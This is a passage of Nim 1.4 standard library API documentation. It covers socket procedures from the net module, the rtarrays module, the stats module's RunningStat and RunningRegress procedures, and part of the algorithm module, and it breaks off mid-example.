[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1424) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1424) ``` proc recv(socket: Socket; size: int; timeout = -1; flags = {SafeDisconn}): string {...}{. inline, raises: [TimeoutError, OSError, SslError], tags: [ReadIOEffect, TimeEffect].} ``` Higher-level version of `recv` which returns a string. Reads **up to** `size` bytes from `socket` into `buf`. For buffered sockets this function will attempt to read all the requested data. It will read this data in `BufferSize` chunks. For unbuffered sockets this function makes no effort to read all the data requested. It will return as much data as the operating system gives it. When `""` is returned the socket's connection has been closed. This function will throw an OSError exception when an error occurs. A timeout may be specified in milliseconds, if enough data is not received within the time specified a TimeoutError exception will be raised. **Warning**: Only the `SafeDisconn` flag is currently supported. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1461) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1461) ``` proc readLine(socket: Socket; line: var TaintedString; timeout = -1; flags = {SafeDisconn}; maxLength = MaxLineLength) {...}{. tags: [ReadIOEffect, TimeEffect], raises: [TimeoutError, OSError, SslError].} ``` Reads a line of data from `socket`. If a full line is read `\r\L` is not added to `line`, however if solely `\r\L` is read then `line` will be set to it. If the socket is disconnected, `line` will be set to `""`. An OSError exception will be raised in the case of a socket error. A timeout can be specified in milliseconds, if data is not received within the specified time a TimeoutError exception will be raised. The `maxLength` parameter determines the maximum amount of characters that can be read. The result is truncated after that. **Warning**: Only the `SafeDisconn` flag is currently supported. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1506) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1506) ``` proc recvLine(socket: Socket; timeout = -1; flags = {SafeDisconn}; maxLength = MaxLineLength): TaintedString {...}{. raises: [TimeoutError, OSError, SslError], tags: [ReadIOEffect, TimeEffect].} ``` Reads a line of data from `socket`. If a full line is read `\r\L` is not added to the result, however if solely `\r\L` is read then the result will be set to it. If the socket is disconnected, the result will be set to `""`. An OSError exception will be raised in the case of a socket error. A timeout can be specified in milliseconds, if data is not received within the specified time a TimeoutError exception will be raised. The `maxLength` parameter determines the maximum amount of characters that can be read. The result is truncated after that. **Warning**: Only the `SafeDisconn` flag is currently supported. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1562) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1562) ``` proc recvFrom(socket: Socket; data: var string; length: int; address: var string; port: var Port; flags = 0'i32): int {...}{. tags: [ReadIOEffect], raises: [Exception, OSError, IOError, ValueError].} ``` Receives data from `socket`. This function should normally be used with connection-less sockets (UDP sockets). If an error occurs an OSError exception will be raised. Otherwise the return value will be the length of data received. **Warning:** This function does not yet have a buffered implementation, so when `socket` is buffered the non-buffered implementation will be used. Therefore if `socket` contains something in its buffer this function will make no effort to return it. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1585) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1585) ``` proc skip(socket: Socket; size: int; timeout = -1) {...}{. raises: [TimeoutError, OSError], tags: [TimeEffect, ReadIOEffect].} ``` Skips `size` amount of bytes. An optional timeout can be specified in milliseconds, if skipping the bytes takes longer than specified a TimeoutError exception will be raised. Returns the number of skipped bytes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1626) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1626) ``` proc send(socket: Socket; data: pointer; size: int): int {...}{. tags: [WriteIOEffect], raises: [].} ``` Sends data to a socket. **Note**: This is a low-level version of `send`. You likely should use the version below. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1641) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1641) ``` proc send(socket: Socket; data: string; flags = {SafeDisconn}) {...}{. tags: [WriteIOEffect], raises: [SslError, OSError].} ``` sends data to a socket. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1660) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1660) ``` proc trySend(socket: Socket; data: string): bool {...}{.tags: [WriteIOEffect], raises: [].} ``` Safe alternative to `send`. Does not raise an OSError when an error occurs, and instead returns `false` on failure. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1675) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1675) ``` proc sendTo(socket: Socket; address: string; port: Port; data: pointer; size: int; af: Domain = AF_INET; flags = 0'i32) {...}{. tags: [WriteIOEffect], raises: [OSError].} ``` This proc sends `data` to the specified `address`, which may be an IP address or a hostname, if a hostname is specified this function will try each IP of that hostname. If an error occurs an OSError exception will be raised. **Note:** You may wish to use the high-level version of this function which is defined below. **Note:** This proc is not available for SSL sockets. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1680) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1680) ``` proc sendTo(socket: Socket; address: string; port: Port; data: string) {...}{. tags: [WriteIOEffect], raises: [OSError].} ``` This proc sends `data` to the specified `address`, which may be an IP address or a hostname, if a hostname is specified this function will try each IP of that hostname. If an error occurs an OSError exception will be raised. This is the high-level version of the above `sendTo` function. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1714) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1714) ``` proc isSsl(socket: Socket): bool {...}{.raises: [], tags: [].} ``` Determines whether `socket` is a SSL socket. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1726) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1726) ``` proc getFd(socket: Socket): SocketHandle {...}{.raises: [], tags: [].} ``` Returns the socket's file descriptor [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1733) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1733) ``` proc IPv4_any(): IpAddress {...}{.raises: [], tags: [].} ``` Returns the IPv4 any address, which can be used to listen on all available network adapters [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1739) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1739) ``` proc IPv4_loopback(): IpAddress {...}{.raises: [], tags: [].} ``` Returns the IPv4 loopback address (127.0.0.1) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1746) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1746) ``` proc IPv4_broadcast(): IpAddress {...}{.raises: [], tags: [].} ``` Returns the IPv4 broadcast address (255.255.255.255) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1752) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1752) ``` proc IPv6_any(): IpAddress {...}{.raises: [], tags: [].} ``` Returns the IPv6 any address (::0), which can be used to listen on all available network adapters [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1758) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1758) ``` proc IPv6_loopback(): IpAddress {...}{.raises: [], tags: [].} ``` Returns the IPv6 loopback address (::1) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1765) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1765) ``` proc `==`(lhs, rhs: IpAddress): bool {...}{.raises: [], tags: [].} ``` Compares two IpAddresses for Equality. Returns true if the addresses are equal [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1774) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1774) ``` proc `$`(address: IpAddress): string {...}{.raises: [], tags: [].} ``` Converts an IpAddress into the textual representation [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1785) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1785) ``` proc dial(address: string; port: Port; protocol = IPPROTO_TCP; buffered = true): owned( Socket) {...}{.tags: [ReadIOEffect, WriteIOEffect], raises: [OSError, IOError].} ``` Establishes connection to the specified `address`:`port` pair via the specified protocol. The procedure iterates through possible resolutions of the `address` until it succeeds, meaning that it seamlessly works with both IPv4 and IPv6. Returns Socket ready to send or receive data. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1849) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1849) ``` proc connect(socket: Socket; address: string; port = Port(0)) {...}{. tags: [ReadIOEffect], raises: [OSError, SslError].} ``` Connects socket to `address`:`port`. `Address` can be an IP address or a host name. If `address` is a host name, this function will try each IP of that host name. `htons` is already performed on `port` so you must not do it. If `socket` is an SSL socket a handshake will be automatically performed. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1907) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1907) ``` proc connect(socket: Socket; address: string; port = Port(0); timeout: int) {...}{. tags: [ReadIOEffect, WriteIOEffect], raises: [OSError, TimeoutError].} ``` Connects to server as specified by `address` on port specified by `port`. The `timeout` parameter specifies the time in milliseconds to allow for the connection to the server to be made. **Warning:** This procedure appears to be broken for SSL connections as of Nim v1.0.2. Consider using the other `connect` procedure. See <https://github.com/nim-lang/Nim/issues/15215> for more info. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1982) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1982) ``` proc getPrimaryIPAddr(dest = parseIpAddress("8.8.8.8")): IpAddress {...}{. raises: [OSError, OSError, SslError, ValueError, Exception, LibraryError], tags: [ReadIOEffect, RootEffect].} ``` Finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. Useful to run local services. No traffic is sent. Supports IPv4 and v6. Raises OSError if external networking is not set up. ``` echo $getPrimaryIPAddr() # "192.168.1.2" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L2008) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L2008) Templates --------- ``` template `&=`(socket: Socket; data: typed) ``` an alias for 'send'. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1671) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1671) Exports ------- [Port](nativesockets#Port), [$](nativesockets#%24,Port), [==](system#==,int8,int8), [==](system#==,float,float), [==](winlean#==,SocketHandle,SocketHandle), [==](system#==,T,T), [==](system#==,seq%5BT%5D,seq%5BT%5D), [==](system#==,array%5BI,T%5D,array%5BI,T%5D), [==](options#==,Option,Option), [==](system#==,pointer,pointer), [==](os#==,OSErrorCode,OSErrorCode), [==](system#==,ref.T,ref.T), [==](system#==,string,string), [==](system#==,openArray%5BT%5D,openArray%5BT%5D), [==](system#==,Enum,Enum), [==](system#==,uint8,uint8), [==](system#==,int,int), [==](system#==,float32,float32), [==](system#==,int16,int16), [==](system#==,set%5BT%5D,set%5BT%5D), [==](system#==,int32,int32), [==](system#==,uint16,uint16), [==](system#==,uint32,uint32), [==](system#==,int64,int64), [==](system#==,cstring,cstring), [==](system#==,uint,uint), [==](system#==,uint64,uint64), [==](system#==,T,T_2), [==](system#==,char,char), [==](system#==,ptr.T,ptr.T), [==](system#==,bool,bool), [==](nativesockets#==,Port,Port), [Domain](nativesockets#Domain), [SockType](nativesockets#SockType), [Protocol](nativesockets#Protocol)
programming_docs
nim rtarrays rtarrays ======== Module that implements a fixed length array whose size is determined at runtime. Note: This is not ready for other people to use! Unstable API. Types ----- ``` RtArray[T] = object L: Natural spart: seq[T] apart: array[ArrayPartSize, T] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/rtarrays.nim#L20) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/rtarrays.nim#L20) Procs ----- ``` proc initRtArray[T](len: Natural): RtArray[T] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/rtarrays.nim#L27) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/rtarrays.nim#L27) ``` proc getRawData[T](x: var RtArray[T]): ptr UncheckedArray[T] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/rtarrays.nim#L32) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/rtarrays.nim#L32) nim stats stats ===== Statistical analysis framework for performing basic statistical analysis of data. The data is analysed in a single pass, when a data value is pushed to the `RunningStat` or `RunningRegress` objects `RunningStat` calculates for a single data set * n (data count) * min (smallest value) * max (largest value) * sum * mean * variance * varianceS (sample var) * standardDeviation * standardDeviationS (sample stddev) * skewness (the third statistical moment) * kurtosis (the fourth statistical moment) `RunningRegress` calculates for two sets of data * n * slope * intercept * correlation Procs have been provided to calculate statistics on arrays and sequences. However, if more than a single statistical calculation is required, it is more efficient to push the data once to the RunningStat object, and call the numerous statistical procs for the RunningStat object. ``` var rs: RunningStat rs.push(MySeqOfData) rs.mean() rs.variance() rs.skewness() rs.kurtosis() ``` **Example:** ``` static: block: var statistics: RunningStat ## Must be "var" statistics.push(@[1.0, 2.0, 1.0, 4.0, 1.0, 4.0, 1.0, 2.0]) doAssert statistics.n == 8 template `===`(a, b: float): bool = (abs(a - b) < 1e-9) doAssert statistics.mean() === 2.0 doAssert statistics.variance() === 1.5 doAssert statistics.varianceS() === 1.714285714285715 doAssert statistics.skewness() === 0.8164965809277261 doAssert statistics.skewnessS() === 1.018350154434631 doAssert statistics.kurtosis() === -1.0 doAssert statistics.kurtosisS() === -0.7000000000000008 ``` Imports ------- <math> Types ----- ``` RunningStat = object n*: int ## number of pushed data min*, max*, sum*: float ## self-explaining mom1, mom2, mom3, mom4: float ## statistical moments, mom1 is mean ``` an accumulator for statistical data [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L56) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L56) ``` RunningRegress = object n*: int ## number of pushed data x_stats*: RunningStat ## stats for first set of data y_stats*: RunningStat ## stats for second set of data s_xy: float ## accumulated data for combined xy ``` an accumulator for regression calculations [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L62) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L62) Procs ----- ``` proc clear(s: var RunningStat) {...}{.raises: [], tags: [].} ``` reset `s` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L69) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L69) ``` proc push(s: var RunningStat; x: float) {...}{.raises: [], tags: [].} ``` pushes a value `x` for processing [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L80) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L80) ``` proc push(s: var RunningStat; x: int) {...}{.raises: [], tags: [].} ``` pushes a value `x` for processing. `x` is simply converted to `float` and the other push operation is called. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L99) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L99) ``` proc push(s: var RunningStat; x: openArray[float | int]) ``` pushes all values of `x` for processing. Int values of `x` are simply converted to `float` and the other push operation is called. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L106) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L106) ``` proc mean(s: RunningStat): float {...}{.raises: [], tags: [].} ``` computes the current mean of `s` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L114) ``` proc variance(s: RunningStat): float {...}{.raises: [], tags: [].} ``` computes the current population variance of `s` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L118) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L118) ``` proc varianceS(s: RunningStat): float {...}{.raises: [], tags: [].} ``` computes the current sample variance of `s` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L122) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L122) ``` proc standardDeviation(s: RunningStat): float {...}{.raises: [], tags: [].} ``` computes the current population standard deviation of `s` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L126) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L126) ``` proc standardDeviationS(s: RunningStat): float {...}{.raises: [], tags: [].} ``` computes the current sample standard deviation of `s` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L130) ``` proc skewness(s: RunningStat): float {...}{.raises: [], tags: [].} ``` computes the current population skewness of `s` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L134) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L134) ``` proc skewnessS(s: RunningStat): float {...}{.raises: [], tags: [].} ``` computes the current sample skewness of `s` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L138) ``` proc kurtosis(s: RunningStat): float {...}{.raises: [], tags: [].} ``` computes the current population kurtosis of `s` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L143) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L143) ``` proc kurtosisS(s: RunningStat): float {...}{.raises: [], tags: [].} ``` computes the current sample kurtosis of `s` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L147) ``` proc `+`(a, b: RunningStat): RunningStat {...}{.raises: [], tags: [].} ``` combine two RunningStats. Useful if performing parallel analysis of data series and need to re-combine parallel result sets [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L152) ``` proc `+=`(a: var RunningStat; b: RunningStat) {...}{.inline, raises: [], tags: [].} ``` add a second RunningStats `b` to `a` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L180) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L180) ``` proc `$`(a: RunningStat): string {...}{.raises: [], tags: [].} ``` produces a string representation of the `RunningStat`. The exact format is currently unspecified and subject to change. Currently it contains:* the number of probes * min, max values * sum, mean and standard deviation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L184) ``` proc mean[T](x: openArray[T]): float ``` computes the mean of `x` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L202) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L202) ``` proc variance[T](x: openArray[T]): float ``` computes the population variance of `x` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L208) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L208) ``` proc varianceS[T](x: openArray[T]): float ``` computes the sample variance of `x` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L214) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L214) ``` proc standardDeviation[T](x: openArray[T]): float ``` computes the population standardDeviation of `x` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L220) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L220) ``` proc standardDeviationS[T](x: openArray[T]): float ``` computes the sample standardDeviation of `x` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L226) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L226) ``` proc skewness[T](x: openArray[T]): float ``` computes the population skewness of `x` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L232) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L232) ``` proc skewnessS[T](x: openArray[T]): float ``` computes the sample skewness of `x` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L238) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L238) ``` proc kurtosis[T](x: openArray[T]): float ``` computes the population kurtosis of `x` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L244) ``` proc kurtosisS[T](x: openArray[T]): float ``` computes the sample kurtosis of `x` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L250) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L250) ``` proc clear(r: var RunningRegress) {...}{.raises: [], tags: [].} ``` reset `r` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L258) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L258) ``` proc push(r: var RunningRegress; x, y: float) {...}{.raises: [], tags: [].} ``` pushes two values `x` and `y` for processing [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L265) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L265) ``` proc push(r: var RunningRegress; x, y: int) {...}{.inline, raises: [], tags: [].} ``` pushes two values `x` and `y` for processing. `x` and `y` are converted to `float` and the other push operation is called. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L273) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L273) ``` proc push(r: var RunningRegress; x, y: openArray[float | int]) ``` pushes two sets of values `x` and `y` for processing. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L280) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L280) ``` proc slope(r: RunningRegress): float {...}{.raises: [], tags: [].} ``` computes the current slope of `r` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L286) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L286) ``` proc intercept(r: RunningRegress): float {...}{.raises: [], tags: [].} ``` computes the current intercept of `r` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L291) ``` proc correlation(r: RunningRegress): float {...}{.raises: [], tags: [].} ``` computes the current correlation of the two data sets pushed into `r` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L295) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L295) ``` proc `+`(a, b: RunningRegress): RunningRegress {...}{.raises: [], tags: [].} ``` combine two `RunningRegress` objects. Useful if performing parallel analysis of data series and need to re-combine parallel result sets [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L301) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L301) ``` proc `+=`(a: var RunningRegress; b: RunningRegress) {...}{.raises: [], tags: [].} ``` add RunningRegress `b` to `a` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/stats.nim#L316) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/stats.nim#L316) nim algorithm algorithm ========= This module implements some common generic algorithms. Basic usage ----------- ``` import algorithm type People = tuple year: int name: string var a: seq[People] a.add((2000, "John")) a.add((2005, "Marie")) a.add((2010, "Jane")) # Sorting with default system.cmp a.sort() assert a == @[(year: 2000, name: "John"), (year: 2005, name: "Marie"), (year: 2010, name: "Jane")] proc myCmp(x, y: People): int = if x.name < y.name: -1 elif x.name == y.name: 0 else: 1 # Sorting with custom proc a.sort(myCmp) assert a == @[(year: 2010, name: "Jane"), (year: 2000, name: "John"), (year: 2005, name: "Marie")] ``` See also -------- * [sequtils module](sequtils) for working with the built-in seq type * [tables module](tables) for sorting tables Types ----- ``` SortOrder = enum Descending, Ascending ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L50) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L50) Procs ----- ``` proc `*`(x: int; order: SortOrder): int {...}{.inline, raises: [], tags: [].} ``` Flips `x` if `order == Descending`. If `order == Ascending` then `x` is returned. `x` is supposed to be the result of a comparator, i.e. `< 0` for *less than*, `== 0` for *equal*, `> 0` for *greater than*. **Example:** ``` assert `*`(-123, Descending) == 123 assert `*`(123, Descending) == -123 assert `*`(-123, Ascending) == -123 assert `*`(123, Ascending) == 123 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L53) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L53) ``` proc fill[T](a: var openArray[T]; first, last: Natural; value: T) ``` Fills the slice `a[first..last]` with `value`. If an invalid range is passed, it raises IndexDefect. **Example:** ``` var a: array[6, int] a.fill(1, 3, 9) assert a == [0, 9, 9, 9, 0, 0] a.fill(3, 5, 7) assert a == [0, 9, 9, 7, 7, 7] doAssertRaises(IndexDefect, a.fill(1, 7, 9)) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L75) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L75) ``` proc fill[T](a: var openArray[T]; value: T) ``` Fills the container `a` with `value`. **Example:** ``` var a: array[6, int] a.fill(9) assert a == [9, 9, 9, 9, 9, 9] a.fill(4) assert a == [4, 4, 4, 4, 4, 4] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L88) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L88) ``` proc reverse[T](a: var openArray[T]; first, last: Natural) ``` Reverses the slice `a[first..last]`. If an invalid range is passed, it raises IndexDefect. **See also:** * [reversed proc](#reversed,openArray%5BT%5D,Natural,int) reverse a slice and returns a `seq[T]` * [reversed proc](#reversed,openArray%5BT%5D) reverse and returns a `seq[T]` **Example:** ``` var a = [1, 2, 3, 4, 5, 6] a.reverse(1, 3) assert a == [1, 4, 3, 2, 5, 6] a.reverse(1, 3) assert a == [1, 2, 3, 4, 5, 6] doAssertRaises(IndexDefect, a.reverse(1, 7)) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L99) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L99) ``` proc reverse[T](a: var openArray[T]) ``` Reverses the contents of the container `a`. **See also:** * [reversed proc](#reversed,openArray%5BT%5D,Natural,int) reverse a slice and returns a `seq[T]` * [reversed proc](#reversed,openArray%5BT%5D) reverse and returns a `seq[T]` **Example:** ``` var a = [1, 2, 3, 4, 5, 6] a.reverse() assert a == [6, 5, 4, 3, 2, 1] a.reverse() assert a == [1, 2, 3, 4, 5, 6] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L121) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L121) ``` proc reversed[T](a: openArray[T]; first: Natural; last: int): seq[T] ``` Returns the reverse of the slice `a[first..last]`. If an invalid range is passed, it raises IndexDefect. **See also:** * [reverse proc](#reverse,openArray%5BT%5D,Natural,Natural) reverse a slice * [reverse proc](#reverse,openArray%5BT%5D) **Example:** ``` let a = [1, 2, 3, 4, 5, 6] b = a.reversed(1, 3) assert b == @[4, 3, 2] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L135) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L135) ``` proc reversed[T](a: openArray[T]): seq[T] ``` Returns the reverse of the container `a`. **See also:** * [reverse proc](#reverse,openArray%5BT%5D,Natural,Natural) reverse a slice * [reverse proc](#reverse,openArray%5BT%5D) **Example:** ``` let a = [1, 2, 3, 4, 5, 6] b = reversed(a) assert b == @[6, 5, 4, 3, 2, 1] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L157) ``` proc binarySearch[T, K](a: openArray[T]; key: K; cmp: proc (x: T; y: K): int {...}{.closure.}): int ``` Binary search for `key` in `a`. Returns -1 if not found. `cmp` is the comparator function to use, the expected return values are the same as that of system.cmp. **Example:** ``` assert binarySearch(["a", "b", "c", "d"], "d", system.cmp[string]) == 3 assert binarySearch(["a", "b", "d", "c"], "d", system.cmp[string]) == 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/algorithm.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/algorithm.nim#L170) ``` proc binarySearch[T](a: openArray[T]; key: T): int ``` Binary search for `key` in `a`. Returns -1 if not found. **Example:** ``` assert binarySearch([0, 1, 2, 3, 4], 4) == 4 assert binarySearch([0, 